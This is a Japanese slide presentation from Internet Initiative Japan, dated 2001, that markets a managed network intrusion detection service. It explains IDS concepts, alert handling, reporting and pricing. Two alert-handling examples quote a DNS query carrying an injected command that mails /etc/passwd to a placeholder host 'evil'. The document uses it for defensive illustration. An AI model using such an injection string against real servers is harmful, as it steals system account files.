IIJネットワーク侵入検知サービス
IIJ Network Intrusion Detection Service

IDS: Intrusion Detection System / 侵入検知システムn

IDSの役割nn

n

IDSの仕組みnnn

不正侵入(第三者によるシステムへの侵入、悪用)やサービス妨害攻撃の検出
不正侵入の情報の記録

知識に基づく検知 (misuse detection): signature
挙動に基づく検知 (anomaly detection): profiling

IDSの必要性n

ファイアウォールがあればIDSは不要か• 「誰でも触りたい放題の金庫は安全か」

Copyright © Internet Initiative Japan Inc., 2001

2

IDS: Intrusion Detection System / 侵入検知システムn

IDSの種類n

ホストベースのIDS• 特定のホストにおける通信やOS、アプリケーションの状態を監視するn

ネットワークベースのIDS• ネットワーク上を流れるパケットを監視する

n

IDSの基本的な動作
IDS

パケット情報ログ
OSの状態 など

判 断通 知シグネチャ
データベース

Copyright © Internet Initiative Japan Inc., 2001

3

IDS: Intrusion Detection System / 侵入検知システム
nIDSの問題点
n

検知の誤り• 誤検知 (false positive): 正常な現象を異常と判断してしまう• 検出漏れ (false nagative): 異常な現象を正常と判断してしまう

n

情報の質と量• たくさんの警告• 情報を整理できているか• 実際の現象を的確に示しているか• 結局は人による検査が必要

n

動作の負荷
• Signatureの数 = 検査処理の量• 負荷予測が非常に困難

Copyright © Internet Initiative Japan Inc., 2001

4

マネージドIDSサービスの必要性n

IDSの運用管理
n導入• 環境に合わせたシグネチャ定義• システムのチューニングが必要n運用• アラート情報の重要度の判断• 重要度にあわせた対応• 対応(なにをすべきか)の意思決定• 安全かつ効果的な運用管理

Copyright © Internet Initiative Japan Inc., 2001

5

IIJネットワーク侵入検知サービス
n

背景n

製品評価
• 1997年〜• NFR (Network Flight Recoder)• http://www.nfr.com/• VAR (Value Added Reseller)• full source code
• IIJでの開発

nsignatureの全面見直し
üüsignatureの全面見直し
警告の元となる通信のüü警告の元となる通信のパケッ
ト
情報を保存する
パケッ
ト
情報を保存する機能
機能
リモートマネージメント機能
üüリモート
マネージメント機能
レポート機能の拡張
üüレポート機能の拡張など多くの改良など多くの改良サービス展開• 1998年〜• NS-M: IIJネットワークセキュリティサービス モニタリング• 事実上、個別開発サービスとして提供していた

Copyright © Internet Initiative Japan Inc., 2001

6

IIJネットワーク侵入検知サービスn

サービス概要nnnnnn

お客様側ネットワークにIDSを設置し、インターネットからの 脅威を監視リモートによる運用管理、24時間365日の監視体制
不正アクセスを検出した場合、アラートとして報告
IIJマネージドファイアウォールサービスとの連携による対応
Webインタフェースによるレポート

IIJネットワーク侵入検知サービスの基本的な動作
IDS
判 断
人的判断

シグネチャ
データベース

情報の記録
アラート/ パケット対 策

パケット情報通 知

レポートアラート/ パケット
/ 対応履歴Copyright © Internet Initiative Japan Inc., 2001

7

サービスイメージ
Internet
IIJ

Internet
IIJ
IIJ T1スタンダードなどの専用線接続サービス

IIJ Operation Center

分析・調査
IIJ Operation Center

検出!
IIJ Network
Surveyor

トラフィック自動監視

管理者

IIJマネージド
ファイアウォールサービス

お客様ネットワーク

報告

管理者

Copyright © Internet Initiative Japan Inc., 2001

お客様ネットワーク

8

IIJネットワーク侵入検知サービスn

サービスの特徴とメリットnシステム: 「IIJ Network Surveyor」• 多くの導入実績と高信頼性を誇る米NFR Security, Inc.のNFR Network
Intrusion Detection(NFR NID)をベースとし、IIJにて拡張を加えた独自システムn

検出した不正アクセスに関連するパケットだけでなく、それに対するネットワーク機器の反応を検査し、対応の緊急度合いを適切に分類

n

検出した不正アクセスの通知だけでなく、関連したパケット情報を記録• 事後の解析や証拠保全に活用

n

IIJによるリモートマネージメント• 設定変更やバージョンアップなどをリモートで行うことで、お客様にかかる運用管理の手間を大幅に削減

n

IIJマネージドファイアウォールサービスとの連携• 不正アクセス検出時にファイアウォール側で一時対応
Copyright © Internet Initiative Japan Inc., 2001

9

サービス詳細n

提供するものnシステム• OS:• IDSソフトウェア:• CPU:• メモリ:• インタフェース:• ハードディスク:
• 外寸:
• 重量:
• 電源:

n

4.4BSDベースの強化型PC Unix
NFR NIDベースの独自システム「IIJ Network Surveyor」
Pentium III 1GHz 以上
256MB
10/100 自動認識 Ethernet x 2
SCSI 18G〜30GB x 3 (RAID1+Hot Swap)
幅 437mm, 高45mm, 奥 580mm (1U rack mount)
10Kg
250W

HUB

Copyright © Internet Initiative Japan Inc., 2001

10

サービス詳細n

お客様にご用意いただくもの
nnnnn

n

インターネット専用線接続
ファイアウォール
システムに割り当てるIPアドレス
システム設置、稼働のための電源、場所の確保
リモート管理のためのアクセスに必要となる設定(ルーティング、IPsec、SSHの通過)
運用管理担当者の設置

Copyright © Internet Initiative Japan Inc., 200111

監視〜アラートn

ネットワークを24時間365日体制で監視し、IIJが対応が必要と判断した不正アクセスを検出した場合、お客様にご連絡n

アラートの通知nn

TEL / FAX / E-Mail

緊急時の連絡手段 (いずれかを選択)
n即時型連絡n蓄積型連絡•連絡手段: 電話•連絡手段: E-Mail、FAX•連絡内容:•連絡内容:•アラート発生時刻、内容、対策のご相談•ファイアウォールサービスでの対策とその内容のご相談•障害(復旧)情報•アラート発生時刻、内容•ファイアウォールサービスでの対策とその内容※ 連絡先の優先順位付けやスケジューリングを設定することができます(予定)
Copyright © Internet Initiative Japan Inc., 200112

アラートハンドリングn動作例1：アクセスポリシー違反 → 通信不成立
IDS

侵入者

Webサーバ時間

telnetによる接続要求
SYN:23/tcp

サーバ 側でのセキュリティポリシー

telnetによる接続を拒否
RST

warning
warning

通信が成立していないため、サービス通信が成立していないため、サービスとしては「情報の記録」のみで、としては「情報の記録」のみで、即時対応は行わない
即時対応は行わない

Copyright © Internet Initiative Japan Inc., 2001

13

アラートハンドリングn動作例2：アクセスポリシー違反 → 通信成立
IDS

侵入者

Webサーバ時間

telnetによる接続要求
SYN:23/tcp

サーバ 側でのセキュリティポリシー

telnetによる接続要求に応答
SYN/ACK
ACK,

alert
alert !!
!!

telnetによる接続成立
ESTABLISHED通信が成立したため、通信が成立したため、「アラート」
としてお客様に通知「アラート」
としてお客様に通知

Copyright © Internet Initiative Japan Inc., 200114

アラートハンドリングn

動作例3：
Buffer Overrun → 不正アクセス不成立
IDS

侵入者

DNSサーバ

時間

info
info

DNSの問い合わせQuery: www.IIJ.ad.jp
応答Answer: 202.232.2.13“不正な文字列 を含んだ” DNSの問い合わせ
Query: %$%$%$%$%$% | mail evil < /etc/passwd
正常な応答
Answer: I don’t know

通常のDNSのやり通常のDNSのやり取りであるため、取りであるため、統計データ
統計データととしして保存て保存

warningwarning

不正アクセスの試みがあったものの、不正アクセスの試みがあったものの、攻撃が成立していないため、攻撃が成立していないため、「情報の記録」のみで、「情報の記録」のみで、即時対応なし
即時対応なしCopyright © Internet Initiative Japan Inc., 200115

アラートハンドリングn動作例4 :Buffer Overrun → 不正アクセス成立
侵入者IDSDNSサーバ時間“不正な文字列 を含んだ” DNSの問い合わせ
Query: %$%$%$%$%$% | mail evil < /etc/passwd

SMTPセッションの成立(メールの送信)

alert
alert !!
!!

DNSプロトコル以外の不正とDNSプロトコル以外の不正と思われる思われる通信が成立したため、通信が成立したため、「アラート」
としてお客様に通知「アラート」
としてお客様に通知

Copyright © Internet Initiative Japan Inc., 2001

16

レポート
n

パケット情報をIDSでキャプチャし、その情報を元にレポートを生成n

ユーザサポートページで参照可能な情報
n 月次レポートn 情報の保存期間 (参考値)
n 情報の保存期間 (参考値)
n ユーザサポートページで参照可能な情報
n ユーザサポートページで参照可能な情報
n すべての情報:
1年間
n すべての情報:
1年間• 通信状況サマリ• アラートサマリ
nnアラート履歴

IDSで参照可能な情報
n 日時レポート• 通信状況サマリ• 通信種別サマリ• アラート発生状況
n調査モード• アラートパケットの表示• 関連パケットの表示、検索

n IDSで参照可能な情報 (1.5Mbpsの場合)
n IDSで参照可能な情報 (1.5Mbpsの場合)
n 全てのパケット情報:
6時間
n 全てのパケット情報:
6時間
n アラート
対象となったパケット
情報:
1ヶ月
n アラート
対象となったパケット情報: 1ヶ月**
n アラートメッセージ情報:
3ヶ月
n アラートメッセージ情報:
3ヶ月**
n 日次レポート:
3ヶ月
n 日次レポート:
3ヶ月**アラートの発生量により保存期間がアラートの発生量により保存期間が変動する場合があります
変動する場合があります

Copyright © Internet Initiative Japan Inc., 200117

レポートサンプル

レポート画面のサンプル※ 画面は開発中のものです

Copyright © Internet Initiative Japan Inc., 2001

18

サポート
n

テクニカルサポートnnn

設定変更受付・対応
nnn

土日祝日を除く平日9:30-17:30
TEL/FAX/E-Mail

土日祝日を除く平日9:30-17:30
TEL/FAX/E-Mail

監視〜アラート・障害対応
nn

24時間365日
TEL/FAX/E-Mail

Copyright © Internet Initiative Japan Inc., 200119

制限事項・注意事項
nサービスの提供にあたって、監視対象となる通信の当事者の了承が必要となりますn

IIJ以外の接続サービスをご利用の場合でもサービス提供は可能ですが、IIJオペレーションセンターとの経路上の障害などにより運用管理サービスの一部機能が提供できないことがありますn

ファイアウォールの内側(プライベートネットワーク側)やDMZを監視対象ネットワークとすることはできませんn

本サービスのご利用に際し、お客様ネットワークの環境変更をお願いする場合がありますn

本サービスは監視対象となるネットワークへの完全な侵入検知を保証するものではありませんn

IIJの判断によりIDSのポリシー変更を行うことがあります

Copyright © Internet Initiative Japan Inc., 2001

20

料金品目

初期費用

300,000 円

1.5Mbps
10Mbps100Mbps

nnnn

月額費用

300,000 円

550,000 円
1,000,000 円

品目とは、監視対象となるネットワーク上に流れるトラフィック流量の最大帯域を指します。
品目を変更する場合は、解約新規の扱いとなります。
最低利用期間は1年間です。
最低利用期間内にサービスの解約を行う場合は、サービス規約に定める違約金が発生します。

Copyright © Internet Initiative Japan Inc., 200121

お申込みからサービス開始まで
IIJ

お客様お申込み
導入前ミーティング

各種設定作業

約3週間

機器送付
機器設置 / 利用開始
課金開始
設定のエージング(テスト運用)

Copyright © Internet Initiative Japan Inc., 2001

約1週間

22

まとめnIDSのポイント
nnnn

情報を目に見えない脅威から守らなければいけない時代になってきたファイアウォールだけでなく複合的なセキュリティ対策が必要
ますます複雑多様化する脅威に立ち向かうにはどうしたら良いか?

IIJネットワーク侵入検知サービスのポイント
nnn

IDSの提供だけでなく、その「運用管理」までを提供するサービス
利用する製品において、full source codeの提供を受けている
適切な検知、情報の視覚化、リモートマネージメント…

Copyright © Internet Initiative Japan Inc., 2001

23